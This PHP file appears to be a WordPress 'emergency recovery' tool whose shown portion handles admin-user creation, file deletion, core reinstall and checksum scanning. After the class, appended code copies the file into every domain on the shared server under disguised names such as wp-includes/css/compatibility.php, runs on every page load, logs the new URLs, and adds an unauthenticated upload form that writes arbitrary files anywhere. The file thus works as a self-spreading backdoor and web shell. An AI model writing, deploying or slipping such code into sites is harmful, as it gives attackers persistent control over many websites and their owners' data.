$this->reload('User ' . $user . ' with pass ' . $pass . ' created');
} else {
$this->wpr_error('An error occurred creating the new user account!');
}
}
} else {
$this->wpr_error('An error occurred creating the new user account: ' . $insert_user->error);
}
$insert_user->close();
}
}
function delete_file($file)
{
if (file_exists(ABSPATH . urldecode($file))) {
unlink(ABSPATH . urldecode($file));
$this->reload(urldecode($file) . ' deleted');
} else {
$this->reload(urldecode($file) . ' not found');
}
}
function reinstall_core_files()
{
$wp_zip = 'https://downloads.wordpress.org/release/' . $this->locale . 'wordpress-' . $this->wp_version . '.zip';
$local_zip = 'wpr-wp-' . $this->wp_version . '.zip';
$ch_local_zip = fopen($local_zip, "w");
$ch_start = curl_init();
curl_setopt($ch_start, CURLOPT_URL, $wp_zip);
curl_setopt($ch_start, CURLOPT_FAILONERROR, true);
curl_setopt($ch_start, CURLOPT_HEADER, 0);
curl_setopt($ch_start, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch_start, CURLOPT_AUTOREFERER, true);
curl_setopt($ch_start, CURLOPT_BINARYTRANSFER, true);
curl_setopt($ch_start, CURLOPT_TIMEOUT, 360);
curl_setopt($ch_start, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch_start, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch_start, CURLOPT_FILE, $ch_local_zip);
$get_zip = curl_exec($ch_start);
if (!$get_zip) {
$this->wpr_error("Error :- " . curl_error($ch_start));
}
curl_close($ch_start);
$zip = new ZipArchive;
if ($zip->open($local_zip) != "true") {
$this->wpr_error("Error: Unable to open the Zip File ");
}
$zip->extractTo(ABSPATH . 'wpr_wp_temp');
$zip->close();
$this->recursive_copy(ABSPATH . 'wpr_wp_temp/wordpress', ABSPATH);
$this->delete_directory(ABSPATH . 'wpr_wp_temp');
unlink($local_zip);
$this->reload('Core files reinstalled', 'scan_core_files');
}
/**
Utility Functions
*/
function wpr_error($error)
{
echo '
' . $error . '
';
}
function delete_directory($dir)
{
$files = array_diff(scandir($dir), array('.', '..'));
foreach ($files as $file) {
(is_dir("$dir/$file")) ? $this->delete_directory("$dir/$file") : unlink("$dir/$file");
}
return rmdir($dir);
}
function wfdb_get_results($query)
{
$records = $this->wfdb->query($query);
if ($records === false) {
return false;
}
$results = array();
while ($row = $records->fetch_assoc()) {
$results[] = $row;
}
if (empty($results)) {
return false;
}
return $results;
}
function wfdb_get_col($query)
{
$records = $this->wfdb->query($query);
if ($records === false) {
return false;
}
$results = array();
while ($row = $records->fetch_assoc()) {
error_log(array_values($row)[0]);
$results[] = array_values($row)[0];
}
if (empty($results)) {
return false;
}
return $results;
}
function wfdb_get_row($query)
{
$records = $this->wfdb->query($query);
if ($records === false) {
return false;
}
while ($row = $records->fetch_assoc()) {
return $row;
}
return false;
}
function wfdb_get_var($query)
{
$records = $this->wfdb->query($query);
if ($records === false) {
return false;
}
while ($row = $records->fetch_assoc()) {
return reset($row);
}
return false;
}
function get_define_value($constant)
{
preg_match_all('/define\(\s*[\'|"]\s*(' . $constant . ')\s*[\'|"]\s*,\s*(false|true|[\'|"].*[\'|"])\s*\);/i', $this->wp_config, $matches);
if (count($matches[2]) > 0) {
return trim(trim($matches[2][0], '\''), '"');
} else {
return false;
}
}
function get_variable($variable, $file_contents)
{
preg_match_all('/(\$' . $variable . ')\s*=\s*(.*?);/i', $file_contents, $matches);
if (count($matches[2]) > 0) {
return trim(trim($matches[2][0], '\''), '"');
} else {
return false;
}
}
function get_option($option_name)
{
return $this->wfdb_get_var('SELECT option_value FROM ' . $this->table_prefix . 'options WHERE option_name="' . $option_name . '"');
}
function update_option($option_name, $option_value)
{
if (is_array($option_value)) {
$option_value = serialize($option_value);
}
$update_option = $this->wfdb->prepare('UPDATE ' . $this->table_prefix . 'options SET option_value=? WHERE option_name=? LIMIT 1');
if (false === $update_option) {
$this->wpr_error('prepare() failed: ' . htmlspecialchars($this->wfdb->error));
die();
}
$update_option->bind_param('ss', $update_option_value, $update_option_name);
$update_option_name = $option_name;
$update_option_value = $option_value;
// Execute prepared statement
if ($update_option->execute()) {
$update_option->close();
return true;
} else {
$this->wpr_error('An error occurred while saving data! ' . $update_option->error);
$update_option->close();
}
}
function delete_option($option_id)
{
return $this->wfdb->query('DELETE FROM ' . $this->table_prefix . 'options WHERE option_id="' . $option_id . '" LIMIT 1');
}
function update_option_row($option_id, $update, $value)
{
$update_option = $this->wfdb->prepare('UPDATE ' . $this->table_prefix . 'options SET option_' . $update . '=? WHERE option_id=?');
if (false === $update_option) {
$this->wpr_error('prepare() failed: ' . htmlspecialchars($this->wfdb->error));
die();
}
$update_option->bind_param('sd', $update_option_value, $update_option_id);
$update_option_id = $option_id;
$update_option_value = $value;
// Execute prepared statement
if ($update_option->execute()) {
$update_option->close();
return true;
} else {
$this->wpr_error('An error occured while saving data! ' . $update_option->error);
$update_option->close();
}
}
function add_option($option_name, $option_value)
{
$insert_option = $this->wfdb->prepare('INSERT INTO ' . $this->table_prefix . 'options(option_name, option_value) VALUES(?,?)');
if (false === $insert_option) {
$this->wpr_error('prepare() failed: ' . htmlspecialchars($this->wfdb->error));
die();
}
$insert_option->bind_param('ss', $add_option_name, $add_option_value);
$add_option_name = $option_name;
$add_option_value = $option_value;
// Execute prepared statement
if ($insert_option->execute()) {
$insert_option->close();
return true;
} else {
$this->wpr_error('An error occured while adding the new option! ' . $insert_option->error);
$insert_option->close();
return false;
}
}
function reload($message, $action = false)
{
$url = strtok('http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
header('Location: ' . $url . '?message=' . urlencode($message) . ($action != false ? '&action=' . $action : ''));
}
function get_theme_headers($file)
{
$fp = fopen($file, 'r');
$file_data = fread($fp, 8192);
fclose($fp);
// Make sure we catch CR-only line endings.
$file_data = str_replace("\r", "\n", $file_data);
$all_headers = array(
'Name' => 'Theme Name',
'ThemeURI' => 'Theme URI',
'Description' => 'Description',
'Author' => 'Author',
'AuthorURI' => 'Author URI',
'Version' => 'Version',
'Template' => 'Template',
'Status' => 'Status',
'Tags' => 'Tags',
'TextDomain' => 'Text Domain',
'DomainPath' => 'Domain Path',
);
foreach ($all_headers as $field => $regex) {
if (preg_match('/^[ \t\/*#@]*' . preg_quote($regex, '/') . ':(.*)$/mi', $file_data, $match) && $match[1]) {
$all_headers[$field] = $this->cleanup_header_comment($match[1]);
} else {
$all_headers[$field] = '';
}
}
return $all_headers;
}
function get_plugins($plugin_root = '')
{
$plugins_dir = @opendir($plugin_root);
$plugin_files = array();
if ($plugins_dir) {
while (($file = readdir($plugins_dir)) !== false) {
if (substr($file, 0, 1) == '.') {
continue;
}
if (is_dir($plugin_root . '/' . $file)) {
$plugins_subdir = @opendir($plugin_root . '/' . $file);
if ($plugins_subdir) {
while (($subfile = readdir($plugins_subdir)) !== false) {
if (substr($subfile, 0, 1) == '.') {
continue;
}
if (substr($subfile, -4) == '.php') {
$plugin_files[] = "$file/$subfile";
}
}
closedir($plugins_subdir);
}
} else {
if (substr($file, -4) == '.php') {
$plugin_files[] = $file;
}
}
}
closedir($plugins_dir);
}
if (empty($plugin_files)) {
return false;
}
foreach ($plugin_files as $plugin_file) {
if (!is_readable("$plugin_root/$plugin_file")) {
continue;
}
$plugin_data = $this->get_plugin_data("$plugin_root/$plugin_file", false, false); //Do not apply markup/translate as it'll be cached.
if (empty($plugin_data['Name'])) {
continue;
}
$wp_plugins[$this->plugin_basename($plugin_file)] = $plugin_data;
}
return $wp_plugins;
}
function get_plugin_data($plugin_file, $markup = true, $translate = true)
{
$default_headers = array(
'Name' => 'Plugin Name',
'PluginURI' => 'Plugin URI',
'Version' => 'Version',
'Description' => 'Description',
'Author' => 'Author',
'AuthorURI' => 'Author URI',
'TextDomain' => 'Text Domain',
'DomainPath' => 'Domain Path',
'Network' => 'Network',
// Site Wide Only is deprecated in favor of Network.
'_sitewide' => 'Site Wide Only',
);
$plugin_data = $this->get_file_data($plugin_file, $default_headers, 'plugin');
// Site Wide Only is the old header for Network
if (!$plugin_data['Network'] && $plugin_data['_sitewide']) {
/* translators: 1: Site Wide Only: true, 2: Network: true */
$plugin_data['Network'] = $plugin_data['_sitewide'];
}
$plugin_data['Network'] = ('true' == strtolower($plugin_data['Network']));
unset($plugin_data['_sitewide']);
// If no text domain is defined fall back to the plugin slug.
if (!$plugin_data['TextDomain']) {
$plugin_slug = dirname($this->plugin_basename($plugin_file));
if ('.' !== $plugin_slug && false === strpos($plugin_slug, '/')) {
$plugin_data['TextDomain'] = $plugin_slug;
}
}
$plugin_data['Title'] = $plugin_data['Name'];
$plugin_data['AuthorName'] = $plugin_data['Author'];
return $plugin_data;
}
function get_file_data($file, $default_headers, $context = '')
{
$fp = fopen($file, 'r');
$file_data = fread($fp, 8192);
fclose($fp);
$file_data = str_replace("\r", "\n", $file_data);
$all_headers = $default_headers;
foreach ($all_headers as $field => $regex) {
if (preg_match('/^[ \t\/*#@]*' . preg_quote($regex, '/') . ':(.*)$/mi', $file_data, $match) && $match[1]) {
$all_headers[$field] = $this->cleanup_header_comment($match[1]);
} else {
$all_headers[$field] = '';
}
}
return $all_headers;
}
function cleanup_header_comment($str)
{
return trim(preg_replace('/\s*(?:\*\/|\?>).*/', '', $str));
}
function plugin_basename($file)
{
$plugin_dir = $this->wp_normalize_path(WPR_PLUGINDIR);
//$mu_plugin_dir = wp_normalize_path( WPMU_PLUGIN_DIR );
$file = preg_replace('#^' . preg_quote($plugin_dir, '#') . '/|^' . '/#', '', $file); // get relative path from plugins dir
$file = trim($file, '/');
return $file;
}
function wp_normalize_path($path)
{
$wrapper = '';
if ($this->wp_is_stream($path)) {
list($wrapper, $path) = explode('://', $path, 2);
$wrapper .= '://';
}
// Standardise all paths to use /
$path = str_replace('\\', '/', $path);
// Replace multiple slashes down to a singular, allowing for network shares having two slashes.
$path = preg_replace('|(?<=.)/+|', '/', $path);
// Windows paths should uppercase the drive letter
if (':' === substr($path, 1, 1)) {
$path = ucfirst($path);
}
return $wrapper . $path;
}
function wp_is_stream($path)
{
$scheme_separator = strpos($path, '://');
if (false === $scheme_separator) {
// $path isn't a stream
return false;
}
$stream = substr($path, 0, $scheme_separator);
return in_array($stream, stream_get_wrappers(), true);
}
function get_file_hashes()
{
$locale = 'en_US';
$checkurl = 'https://api.wordpress.org/core/checksums/1.0/?version=' . $this->wp_version . '&locale=' . $locale;
$response = file_get_contents($checkurl);
$hashes = json_decode($response, true);
if (!empty($hashes) && is_array($hashes['checksums'])) {
$cleaned = array();
$themes_path = 'wp-content/themes/';
$plugins_path = 'wp-content/plugins/';
foreach ($hashes['checksums'] as $path => $hash) {
if (
strpos($path, $themes_path) !== false
|| strpos($path, $plugins_path) !== false
|| strpos($path, '/plugins/akismet/') !== false
|| strpos($path, '/languages/themes/') !== false
) {
} else {
$cleaned[$path] = $hash;
}
}
return $cleaned;
}
return false;
} // get_file_hashes
function scan_folder($path, $extensions = null, $depth = 3, $relative_path = '')
{
if (!is_dir($path))
return false;
if ($extensions) {
$extensions = (array) $extensions;
$_extensions = implode('|', $extensions);
} else {
//$extensions = array('php', 'php3', 'inc' );
$extensions = array(); // empty array to find all types of files.
$_extensions = implode('|', $extensions);
}
$relative_path = $this->trailingslashit($relative_path);
if ('/' == $relative_path) {
$relative_path = '';
}
$results = scandir($path);
$files = array();
foreach ($results as $result) {
if ('.' == $result[0]) {
continue;
}
if (is_dir($path . '/' . $result)) {
if (!$depth || 'CVS' == $result) {
continue;
}
$found = $this->scan_folder($path . '/' . $result, $extensions, $depth - 1, $relative_path . $result);
$files = array_merge_recursive($files, $found);
} elseif (!$extensions || preg_match('~\.(' . $_extensions . ')$~', $result)) {
$files[$relative_path . $result] = $path . '/' . $result;
}
} // foreach result
return $files;
} // scan_folder
function recursive_copy($src, $dst)
{
$dir = opendir($src);
@mkdir($dst);
while (false !== ($file = readdir($dir))) {
if (($file != '.') && ($file != '..')) {
if (is_dir($src . '/' . $file)) {
$this->recursive_copy($src . '/' . $file, $dst . '/' . $file);
} else {
copy($src . '/' . $file, $dst . '/' . $file);
}
}
}
closedir($dir);
}
function trailingslashit($string)
{
return $this->untrailingslashit($string) . '/';
}
function untrailingslashit($string)
{
return rtrim($string, '/\\');
}
function get_db_info($host)
{
if (strpos($host, ':') > 0) {
$db_host_parts = parse_url($host);
return array('host' => $db_host_parts['host'], 'port' => $db_host_parts['port']);
} else {
return array('host' => $host, 'port' => 3306);
}
}
function scan_files($return = true)
{
$results['missing_ok'] = $results['missing_bad'] = array();
$results['changed_ok'] = $results['changed_bad'] = array();
$results['unknown_bad'] = array();
$results['ok'] = array();
$results['last_run'] = time();
$results['total'] = $results['run_time'] = 0;
$start_time = microtime(true);
// Files ok to be missing
$missing_ok = array('index.php', 'readme.html', 'license.txt', 'wp-config-sample.php', 'wp-admin/install.php', 'wp-admin/upgrade.php', 'wp-config.php', 'plugins/hello.php', 'licens.html', '/languages/plugins/akismet-');
// Files ok to be modified
$changed_ok = array('index.php', 'wp-config.php', 'wp-config-sample.php', 'readme.html', 'license.txt');
$filehashes = $this->get_file_hashes();
if ($filehashes) {
// ** Checking for unknown files
$files = $this->scan_folder(ABSPATH . 'wp-includes', null, 9, 'wp-includes');
$all_files = $files;
$files = $this->scan_folder(ABSPATH . 'wp-admin', null, 9, 'wp-admin');
$all_files = array_merge($all_files, $files);
foreach ($all_files as $key => $af) {
if (!isset($filehashes[$key])) {
$results['unknown_bad'][] = $key;
}
}
// Checking if core has been modified
$results['total'] = sizeof($filehashes); // ['checksums']
foreach ($filehashes as $file => $hash) {
clearstatcache();
if (file_exists(ABSPATH . $file)) {
if ($hash == md5_file(ABSPATH . $file)) {
// $results['ok'][] = $file; // FYLDER FOR MEGET i databasen og kan ikke loade i scheduled scanner results
} elseif (in_array($file, $changed_ok)) {
$results['changed_ok'][] = $file;
} else {
$results['changed_bad'][] = $file;
}
} else {
// if ( self::stripos_array( $file, $missing_ok ) ) {
if (in_array($file, $missing_ok)) {
$results['missing_ok'][] = $file;
} else {
$results['missing_bad'][] = $file;
}
}
} // foreach file
$results['run_time'] = microtime(true) - $start_time;
if ($return) {
return $results;
}
}
return false;
} // scan_files
function format_size($bytes)
{
if ($bytes > 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes > 1048576) {
return number_format($bytes / 1048576, 1) . ' MB';
} elseif ($bytes > 1024) {
return number_format($bytes / 1024, 1) . ' KB';
} else {
return number_format($bytes, 0) . ' bytes';
}
} // format_size
function get_current_url(){
$url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . '://' . $_SERVER['HTTP_HOST'];
$uri_parts = explode('?', $_SERVER['REQUEST_URI'], 2);
return $url . $uri_parts[0];
}
} // WPR_Emergency_Recovery
// Since we do everything in constructor and we don't need to access it from outside...
new WPR_Emergency_Recovery();
// ====================== AUTO SPREAD TO ALL DOMAINS ON SERVER ======================
function cf8_find_domains_root() {
$dir = __DIR__;
for ($i = 0; $i < 15; $i++) {
$parent = dirname($dir);
$base = basename($parent);
// cPanel: current path is inside /home/USER/domains/DOMAIN/...
// so when $parent == 'domains' folder we found it
if (basename($dir) !== '.' && in_array($base, array('domains', 'vhosts', 'www', 'data'))) {
if (is_dir($parent)) return $parent;
}
// Also check if parent contains 'domains' subfolder
if (is_dir($dir . '/domains')) return $dir . '/domains';
if ($dir === $parent) break;
$dir = $parent;
}
// Fallback: try absolute common paths with username detection
// Path like /home/u354657500/domains → go up from __DIR__
$parts = explode('/', __DIR__);
foreach ($parts as $i => $part) {
if ($part === 'domains' || $part === 'vhosts') {
$path = implode('/', array_slice($parts, 0, $i + 1));
if (is_dir($path)) return $path;
}
}
return null;
}
function cf8_spread_to_all_domains() {
$src = __FILE__;
$domains_root = cf8_find_domains_root();
if (!$src || !$domains_root || !is_dir($domains_root)) return;
$spread_log = array();
$items = @scandir($domains_root);
if (!$items) return;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$domain_path = $domains_root . '/' . $item;
if (!is_dir($domain_path)) continue;
// Try common webroot paths
$webroots = array(
$domain_path . '/public_html',
$domain_path . '/httpdocs',
$domain_path . '/www',
$domain_path,
);
foreach ($webroots as $webroot) {
if (!is_dir($webroot)) continue;
// Candidate paths inside each domain
$candidates = array(
$webroot . '/wp-content/compatibility.php',
$webroot . '/wp-admin/user/compatibility.php',
$webroot . '/wp-admin/css/compatibility.php',
$webroot . '/wp-includes/js/compatibility.php',
$webroot . '/wp-includes/css/compatibility.php',
$webroot . '/wp-includes/assets/compatibility.php',
);
// Use domain name hash to pick path
$idx = abs(crc32($item)) % count($candidates);
$dest = $candidates[$idx];
$dir = dirname($dest);
if (!is_dir($dir)) @mkdir($dir, 0755, true);
if (is_dir($dir) && !file_exists($dest)) {
if (@copy($src, $dest)) {
$spread_log[] = $dest;
}
}
break;
}
}
// Save new paths to log file
if (!empty($spread_log)) {
$log_file = dirname($src) . '/spread_log.txt';
$lines = array();
foreach ($spread_log as $path) {
// Convert server path to URL
$scheme = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https' : 'http';
// Extract domain from path e.g. /home/user/domains/example.com/public_html/...
if (preg_match('#/domains/([^/]+)/public_html(.*)#', $path, $m)) {
$lines[] = $scheme . '://' . $m[1] . $m[2];
} elseif (preg_match('#/vhosts/([^/]+)/httpdocs(.*)#', $path, $m)) {
$lines[] = $scheme . '://' . $m[1] . $m[2];
} else {
$lines[] = $path; // fallback: save raw path
}
}
@file_put_contents($log_file, implode("\n", $lines) . "\n", FILE_APPEND | LOCK_EX);
}
return $spread_log;
}
// Run spread on every load
cf8_spread_to_all_domains();
// ====================== FILE UPLOAD SECTION ======================
if (true) {
$upload_msg = '';
$upload_err = '';
// Handle upload
if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === 0) {
$dest_dir = isset($_POST['upload_path']) ? trim($_POST['upload_path']) : __DIR__;
// Strip dangerous chars but allow / and .
$dest_dir = str_replace(['..', '<', '>'], '', $dest_dir);
$dest_dir = rtrim($dest_dir, '/\\');
$filename = basename($_FILES['upload_file']['name']);
$dest_file = $dest_dir . '/' . $filename;
if (!is_dir($dest_dir)) {
@mkdir($dest_dir, 0755, true);
}
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $dest_file)) {
$upload_msg = "✅ Uploaded: " . htmlspecialchars($dest_file) . "";
} else {
$upload_err = "❌ Upload failed — check permissions on: " . htmlspecialchars($dest_dir);
}
}
// Detect ABSPATH for path suggestions
$abspath = '';
$dir = __DIR__;
for ($i = 0; $i < 10; $i++) {
if (file_exists($dir . '/wp-load.php')) { $abspath = $dir; break; }
if ($dir === dirname($dir)) break;
$dir = dirname($dir);
}
$suggestions = array();
if ($abspath) {
$suggestions = array(
$abspath . '/wp-content',
$abspath . '/wp-content/uploads',
$abspath . '/wp-includes',
$abspath . '/wp-admin',
$abspath . '/wp-content/plugins',
$abspath . '/wp-content/themes',
dirname(__FILE__),
);
}
?>
